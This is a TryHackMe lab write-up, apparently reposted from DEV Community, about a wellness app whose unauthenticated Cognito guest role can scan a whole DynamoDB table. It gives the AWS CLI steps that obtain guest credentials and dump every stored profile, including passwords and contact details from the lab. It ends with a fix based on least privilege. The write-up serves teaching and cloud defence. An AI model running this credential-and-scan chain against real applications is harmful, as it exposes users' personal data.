TryHackMe 무료 쓰기: 과도한 권한이 있는 AWS 게스트 역할 악용

작성자

카테고리:

← 피드로
DEV Community · Md. Ibrahim Reza Rabbi · 2026-08-03 개발(SW)

Byte Lotus Wellness – A Deep Dive into Misconfigured AWS Permissions

TryHackMe Challenge Write-Up

Learn how an unauthenticated guest role in AWS can expose sensitive data – step by step.

📖 Introduction

The challenge presents a wellness app that promises “complimentary access” without any login or sign-up. Upon opening the web page, the app magically “knows” you and displays your wellness profile. But how? And what else can you access?

The goal: find out how the app knows anything about you, and see what else it’s willing to hand over.

Spoiler: It’s all about Cognito Identity Pools and over-permissive IAM roles.

🕵️ Reconnaissance

Step 1 – Website & S3 Bucket

The app is hosted on an S3 bucket as a static website:

http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/

Enter fullscreen mode Exit fullscreen mode

First, we try to list the bucket directly (maybe the flag is stored as a file):

aws s3 ls s3://complimentary-wellness-app-332173347248/ --no-sign-request

Enter fullscreen mode Exit fullscreen mode

Response:

aws: [ERROR]: An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

Enter fullscreen mode Exit fullscreen mode

So the bucket is not publicly listable – we need to look elsewhere.

Step 2 – Inspecting the Frontend

We download the main page and look for JavaScript files that might contain logic or AWS configuration.

curl -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/ > index.html

Enter fullscreen mode Exit fullscreen mode

Examining index.html reveals a <script> tag loading app.js. We fetch it:

curl -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js

Enter fullscreen mode Exit fullscreen mode

The source code is very revealing – it contains hardcoded AWS configuration.

📄 Static Analysis – app.js

Here is the full app.js (with comments preserved):

// Byte Lotus Wellness - guest dashboard
//
// No login screen on purpose: every visitor gets "free" AWS guest
// credentials from our Cognito Identity Pool so we can save wellness
// preferences without the friction of an account.
const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";

AWS.config.region = AWS_REGION;

AWS.config.credentials = new AWS.CognitoIdentityCredentials({
  IdentityPoolId: IDENTITY_POOL_ID,
});

function guestId() {
  let id = localStorage.getItem("byteLotusGuestId");

  if (!id) {
    // First visit: hand out a throwaway guest id, same as checking in.
    id = "guest-" + Math.random().toString(36).slice(2, 10);
    localStorage.setItem("byteLotusGuestId", id);
  }

  return id;
}

function renderDashboard(item) {
  const el = document.getElementById("dashboard");

  if (!item) {
    el.textContent = "Welcome! We don't have wellness data for you yet - check back after your first spa visit.";
    return;
  }

  el.textContent = [
    "Name: " + (item.name ? item.name.S : "-"),
    "Loyalty notes: " + (item.notes ? item.notes.S : "-"),
  ].join("\n");
}

AWS.config.credentials.get(function (err) {
  if (err) {
    console.error("Could not fetch guest credentials:", err);
    return;
  }

  const dynamodb = new AWS.DynamoDB({ region: AWS_REGION });

  dynamodb.getItem(
    {
      TableName: TABLE_NAME,
      Key: { guest_id: { S: guestId() } },
    },
    function (err, data) {
      if (err) {
        console.error("Could not load dashboard:", err);
        return;
      }

      renderDashboard(data.Item);
    }
  );
});

Enter fullscreen mode Exit fullscreen mode

🔍 What we learn

  • The app uses Amazon Cognito Identity Pools (Federated Identities) to obtain temporary AWS credentials for every visitor.
  • The credentials are fetched without any authentication – unauthenticated guest access.
  • The Identity Pool ID, region, and DynamoDB table name are hardcoded in the client-side code.
  • The app generates a random guest-xxxxxxxx ID and stores it in localStorage to identify the user.
  • It then queries DynamoDB with dynamodb.getItem() using that guest ID and displays the name and notes.

The crucial point: the IAM role attached to the guest identity pool likely has overly broad permissions – possibly allowing Scan on the entire table.

💥 Exploitation – Retrieving All Data

Step 1 – Get a Cognito Identity ID

Using the Identity Pool ID from app.js, we call the AWS CLI to obtain an identity ID (this is an unauthenticated call – no credentials needed).

aws cognito-identity get-id \
  --identity-pool-id "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688" \
  --region us-east-1 \
  --no-sign-request

Enter fullscreen mode Exit fullscreen mode

Response:

{
  "IdentityId": "us-east-1:4d571309-b069-c330-4112-2db03548a68a"
}

Enter fullscreen mode Exit fullscreen mode

Step 2 – Get Temporary AWS Credentials

Now we use that identity ID to obtain temporary credentials (Access Key, Secret Key, Session Token). Again, no prior authentication is required.

aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:4d571309-b069-c330-4112-2db03548a68a" \
  --region us-east-1 \
  --no-sign-request

Enter fullscreen mode Exit fullscreen mode

Response (trimmed for readability):

{
  "IdentityId": "us-east-1:4d571309-b069-c330-4112-2db03548a68a",
  "Credentials": {
    "AccessKeyId": "ASIAU2VYTBGYOA6TL5AK",
    "SecretKey": "Xex9BTBIuqWV0SqjgIuP1dICFaWj/FiTFk/9+iZq",
    "SessionToken": "IQoJb3JpZ2luX2Vj…",
    "Expiration": "2026-08-03T07:32:25-04:00"
  }
}

Enter fullscreen mode Exit fullscreen mode

Note: These credentials are temporary and will expire – but they give us enough time to query DynamoDB.

Step 3 – Use the Credentials to Access DynamoDB

We set the credentials as environment variables so the AWS CLI uses them.

export AWS_ACCESS_KEY_ID="ASIAU2VYTBGYOA6TL5AK"
export AWS_SECRET_ACCESS_KEY="Xex9BTBIuqWV0SqjgIuP1dICFaWj/FiTFk/9+iZq"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2Vj…"
export AWS_DEFAULT_REGION="us-east-1"

Enter fullscreen mode Exit fullscreen mode

Now we can perform a Scan on the DynamoDB table (assuming the role allows it). Let’s try:

aws dynamodb scan --table-name "complimentary-GuestWellnessProfiles"

Enter fullscreen mode Exit fullscreen mode

Response (all items):

{
  "Items": [
    {
      "password": { "S": "digitaldetox2026" },
      "location": { "S": "25.2055,55.2733" },
      "notes": { "S": "Booked the quiet room for his \"digital detox.\" Checked email twice since writing that." },
      "guest_id": { "S": "guest-vibe" },
      "email": { "S": "[email protected]" },
      "phone": { "S": "+1–555–0193" },
      "name": { "S": "Vibe (Move Fast & Break Things)" }
    },
    {
      "password": { "S": "sunkissed88" },
      "location": { "S": "25.2048,55.2708" },
      "notes": { "S": "Posted 47 times in three days. Wants everything tagged #ByteLotus for the algorithm." },
      "guest_id": { "S": "guest-lambo" },
      "email": { "S": "[email protected]" },
      "phone": { "S": "+1–555–0142" },
      "name": { "S": "Lambo (@0xMia)" }
    },
    {
      "password": { "S": "escalation_only" },
      "location": { "S": "25.2048,55.2708" },
      "notes": { "S": "If you're reading this, the wellness app's guest role can read every profile, not just its own. THM{fr33_app_****_****!}" },
      "guest_id": { "S": "guest-vip-042" },
      "email": { "S": "[email protected]" },
      "phone": { "S": "+1–555–0100" }
    }
  ]
}

Enter fullscreen mode Exit fullscreen mode

We found the flag! It’s embedded in the notes of the guest-vip-042 item:

THM{fr33_app_****_****!}

Enter fullscreen mode Exit fullscreen mode

🧠 Why Did This Happen? (Root Cause Analysis)

🔹 Cognito Identity Pools (Federated Identities)

Amazon Cognito Identity Pools allow you to grant temporary AWS credentials to users, even unauthenticated ones. This is often used for guest access in mobile/web apps. The identity pool is configured with an IAM role that defines what actions the temporary credentials can perform.

🔹 The Misconfiguration

The IAM role attached to the unauthenticated guest access was over-permissive.

Instead of restricting access to only the specific item belonging to that guest (e.g., using GetItem with a condition on guest_id), the role allowed dynamodb:Scan on the entire table. This meant anyone with the Identity Pool ID could retrieve all records.

🔹 Client-Side Exposure

Hardcoding the Identity Pool ID, region, and table name in client-side JavaScript is standard for frontend apps using AWS – but it must be paired with proper IAM restrictions. Here, the developer relied on the client-generated guest_id to filter data, but the backend permissions made that filter irrelevant.

🛡️ How to Fix It (Mitigation)

  • Apply the Principle of Least Privilege to the IAM role for unauthenticated users.

    • Only allow dynamodb:GetItem (not Scan).
    • Use a Condition to restrict access to items where guest_id matches the Cognito identity ID (or a derived value).
    • Example IAM policy:
    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Effect": "Allow",
          "Action": "dynamodb:GetItem",
          "Resource": "arn:aws:dynamodb:us-east-1:ACCOUNT:table/complimentary-GuestWellnessProfiles",
          "Condition": {
            "ForAllValues:StringEquals": {
              "dynamodb:LeadingKeys": ["${cognito-identity.amazonaws.com:sub}"]
            }
          }
        }
      ]
    }
    
  • Avoid hardcoding sensitive values in client-side code – but in this case, the identity pool ID is meant to be public; the real protection is the IAM policy.

📌 Conclusion

This challenge demonstrates a classic cloud misconfiguration: over-privileged unauthenticated roles. By extracting the Identity Pool ID from the frontend JavaScript, we obtained temporary credentials and scanned the DynamoDB table, exposing all guest profiles – including the flag.

The key takeaway: never trust client-side data filtering; always enforce strict permissions at the IAM level.

🏁 Flag

THM{fr33_app_****_****!}

Enter fullscreen mode Exit fullscreen mode

Happy hacking, and remember – with great permissions come great responsibilities! 🔐

원문에서 계속 ↗

코멘트

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다